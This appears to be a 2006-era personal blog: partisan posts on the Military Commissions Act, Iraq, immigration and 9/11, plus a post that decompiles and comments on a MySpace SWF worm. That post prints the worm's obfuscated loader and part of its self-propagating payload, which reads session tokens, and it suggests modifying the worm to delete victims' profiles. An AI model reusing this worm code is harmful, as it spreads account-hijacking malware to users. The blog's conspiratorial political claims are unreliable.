It's Worse than We All Thought...

Torture Bill States Non-Allegiance To Bush Is Terrorism

Buried amongst the untold affronts to the Bill of Rights, the Constitution and the very spirit of America, the torture bill contains a definition of “wrongfully aiding the enemy” which labels all American citizens who breach their “allegiance” to President Bush and the actions of his government as terrorists subject to possible arrest, torture and conviction in front of a military tribunal.

After five hours of searching through the 80-plus page bill, Alex Jones, who won the 2004 Project Censored award for his analysis of Patriot Act 2, uncovered numerous other provisions and definitions that make the bill appear as almost a mirror image of Hitler’s 1933 Enabling Act.

In section 950j. the bill criminalizes any challenge to the legislation’s legality by the Supreme Court or any United States court. Alberto Gonzales has already threatened federal judges to shut up and not question Bush’s authority on the torture of detainees.

“No court, justice, or judge shall have jurisdiction to hear or consider any claim or cause of action whatsoever, including any action pending on or filed after the date of the enactment of the Military Commissions Act of 2006, relating to the prosecution, trial, or judgment of a military commission under this chapter, including challenges to the lawfulness of procedures of military commissions under this chapter.”

The Bush administration is preemptively overriding any challenge to the legislation by the Supreme Court.

It's worse than I could possibly have imagined. We are living in a totalatarian state.

The Second 9/11

What could happen to us: - NY Times opinion

IN the autumn of 68 B.C. the world’s only military superpower was dealt a profound psychological blow by a daring terrorist attack on its very heart. Rome’s port at Ostia was set on fire, the consular war fleet destroyed, and two prominent senators, together with their bodyguards and staff, kidnapped.

The incident, dramatic though it was, has not attracted much attention from modern historians. But history is mutable. An event that was merely a footnote five years ago has now, in our post-9/11 world, assumed a fresh and ominous significance. For in the panicky aftermath of the attack, the Roman people made decisions that set them on the path to the destruction of their Constitution, their democracy and their liberty. One cannot help wondering if history is repeating itself.

9/11 will not be remembered for what happened on that fateful day, but what followed as the American people surrendured the constitutuion to "Nero". The "Second 9/11" The following years of dictatorship that almost caused this country to fall apart.

If we can not learn from the mistakes of the past, we are doomed to repeat them.

OMG. MID-TERM ELECTIONS!

omg, OMG, OMG!

Mid-term elections are only six weeks away; you now have permission to freak out.

• Immigrants are taking over
• Iraq is falling apart
• The world is going to hell

The first two are pretty much the only issues that people have been screeching about so far, ignoring other things like the abuse of executive power and new levels of authoritarian control, progress in the "war on terror", and how we are going to deal with global warming (not just in the next 4 years).

First of all, I could care less if immigrants were "taking over" Republicans say that they are stressing the schools, healthcare system and other social services, but that is simply not true, they have not been adding stress to the system, only population growth. They want to build a fence across the border, but no solution can be reached unless a compromise has both plans for a fence AND an easier way to come into this country legally. We need a new approach to how we deal with immigration. We are a country of immigrants. We all came here one way or another. This country was built on the backs of immigrants, and immigrants are what make this country strong. We need to change our attitudes towards immigration with an open door policy that anyone can come if they are willing to work hard, get ahead, and make this great country a better place.

Iraq is falling apart, but the Democrats don't have any better ideas of what to do than change who's in power. Some have suggested that we spilt Iraq into three semi autonomous regions or even into seperate countries entirely. The catch with that is the Sunni's would freak out if Iraq was spilt. They have a majority in the middle of the country, where there is no oil, unlike the shi'a in the south and the Kurds in the north. Right now if we do nothing the civil war will become obvious to everyone. This administartion has been lying about casualties and the progress in Iraq sibce the invasion. In Vietnam independent journalists had photographs of what was really happening, but now we are kept in the dark. Out of sight, out of mind; any news about the war is bad for the republicans. If we do split up Iraq, there will be a civil war anyway, but possibly worse, because it won't just be terrorists groups fighting each other, it will be conventional warfare with real armies fighting each other. More than 100,000 Iraqi's have already died as a result of the invasion and the secterian violence following, how many more innocent lives do we have to kill before this all stops?

The world isn't really going to hell, but it sure feels like it sometimes, especially right now. Bush's Cabinet will be known for centuries afterwards as the ones who seriously fucked things up for all of us.

There are many more important things those talking heads on campaign ads could be screaming about. Executive power has reached an all-time high in one of the most dangerous presidents of all time. I can not begin to describe my horror of his abuse of executive power, it disgusts me so, and shows a new level of apathy in our society like we have not seen before. Progress in the "War on terror" is now in doubt, especially after the recent NIE report that the war in Iraq has actually made us less safe. (Well, tell me something I didn't know!) Also, the resistance movement in Afghanistan has been growing in strength and may soon threaten to become another Iraq, and another un-winnable conflict. Global warming: mark my words, you will tell your grandchildren that you remember when polar bears used to be around. The evidence is now undeniable, see for yourself at IPY.org (International Polar Year). If you still think that global warming is a myth, you are in complete denial. I can understand not wanting to believe it, I don't want cataclysmic change either, but you can no longer duck your head under the sand.

This year, people are upset enough at the republicans that the democrats will most likely pick up a bunch of seats, but not enough to get a majority, or just enough to get a small majority in the senate, putting everyone in limbo.

Where are we now?

• Where are we now?
• How far have we come?
• Are we any safer?
• What have we done since then?
• What haven't we done since then?
• What did we do right?
• What did we do wrong?
• Where are we now?

What did 9/11 teach us?

Are you asking yourself these questions? are we asking our leaders these questions?

Does this man jumping out of the World Trade Center want to be involved in an Iraqi civil war, Killing almost as many Soldiers as there were deaths on 9/11?

Do the people in that plane want to have nail clippers taken away at security checkpoints?

Do the people in that tower want Civil liberties repressed and executive power increased?

Would the terrorists like to know that we make waving the American flag synonymous with the assertion that questioning those in power is unpatriotic and those who do wave flags don't even treat them respectfully? Better yet, would they be delighted to know that five years after the day they killed thousands of Americans, it is still possible to smuggle explosives on board airplanes, tanker cars carrying deadly chemicals are left unguarded, containers entering the us are rarely checked for only radioactive material, or that security in general is lacking in areas that are the most important?

How would the Firefighters rushing into the building to save people like to know that everyone they knew has a wiretapped phone, and couldn't go on the internet without everything they do going to the NSA?

Would the people in the pentagon like to know that 2,500 American soliders have died in an Iraqi Civil war, while company's like Haliburton providing thousands of "security contractors" (mercenaries) are earning up to a thousand dollars a day in an un-winnable conflict that is costing over 100 billion dollars a year?

Would you like to know that this was something the bush administration could have known about ast stated in the famous August 6th memo?

The question i want to know is,

Where are we now?

Myspace SWF redirect exploit worm

SWEET! Everyone on Myspace is a tool. ALways were and will be moreso in the future. I am NOT apologizing for that. NO. Mysapce was actually started by spammers as a way to easily data mine. Anyway, that is not what i am going to talk about. Myspace just got hit by a nifty little .SWF flash redirect exploit worm. **Note. I didn't make it. "darn"**

How the myspace SWF hack worked

First note: I DID NOT MAKE THE HACK. I simply downloaded the .swf's, decompiled them, looked at the actionscript, worked out what it did, found the Javascript that it uses, and tidied it up & commented it. I've probably got some bits wrong, feel free to contact me and I'll update this page

When you visited an already infected page, there was an SWF embedded ("redirect.swf") which contained the actionscript:

getURL("http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friend
ID=93634373
&blogID=144877075", "_self");

Which is pretty self explanatory - it opened the blog URL which you got redirected to.

On the blog url which you got redirected to, there was another SWF embedded, called "retrievecookie.swf". This contained:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace
.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.
onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'
\')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'
\');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length)
;};" + "eval(sc);}};" + "x.send(null);", "");

Which looks pretty obfuscated, however, when you space it out and add comments:

getURL("
javas\n\r
cript:
//this translates in the browser to: "javascript:"
//which myspace really should have blocked now.
var x = new ActiveXObject(\'Msxml2.XMLHTTP\');
// loads a new xmlHTTP object, sets it as var "x"
x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeC
omments&friendID=93634373\',true);
// This opens yet another blog post, at the URL above. The text of the URL is below
x.onreadystatechange = function()
// when the readystate of the xmlHTTP object changes:
{
if (x.readyState==4)
// once the state changes to complete (it goes from 0 to 4, iirc)
{
var pg = x.responseText;
// the code it got from the page
var sc = pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));
// loads into "sc" the contents of the response text from the place where
// the end of "BX-" (that's the +3) is first encountered up until it finds the start of
// "-EX", this is all the nasty JS.
while ( (sc.indexOf(\'
\')!=-1) || (sc.indexOf(\'-XXX\')!=-1) )
// while "sc" (the code) doesn't contain "
" or "-XXX" then:
{
var n=sc.indexOf(\'
\');
// n is the start of where it finds "
" in "sc"
if (n==-1)
n=sc.indexOf(\'-XXX\');
// if it cant find "
, then make n where it can find "-XXX"


// thist bit next was really quite clever, it manages to keep the > closing bracket for
// the embed tag, which it needs, and creates the embed tag by removing
// XXX's and leaving the final character!
sc = sc.substring(0,n)+sc.substring(n+5,sc.length);
// sc is now from the start, to n.
// then add on to sc the bit from n+5 to the end of sc,
// essentially, this cuts out the crap from the blog post it pull.
// the crap was in there in the first place to get past myspace's filters, I presume.
};
// this iterates through and removes the -XXX's from the blog post
" + "eval(sc);
// evaluate "sc" - this is what does it all.
} // end of readystate==4 "if"
}; //end of function
" //closing the quote from the SWF getURL() function
+
"
x.send(null);
// adds on sending "null" to the xmlHTTP object.
", ""
// no target, so it just executes.
);// end of SWF getURL function.

In essence, it pulls a blog post from somewhere else on myspace, and evaluates the code that it contains.

This is the post:

BX-var msg='-XXXX<-XXX XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src="http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf">BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&')!=-1){ Q=Q.replace('&amp;amp;amp;amp;amp;', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf

Props to Kinematic for Digging this (digg.com)

For those of you not "in" to reading code, I will explain what this basically means. When you are signed in to myspace and go to an infected profile, It infects your profile and sends you to a site with conspiracy theories about how bush knew about 9/11. (not that they aren't true)

Fixing this is going to be almost impossible except block all flash content. It will be interesting to see how they deal with this. This is only the first of many, many, Myspace explots. Just because of how it operates using URL's it is so easy to do things to people. You could edit this code so that everyone who saw your profile would add you as a friend, or compltley delete their profile... the possibilites are endless! (for other people, that is. heh, heh)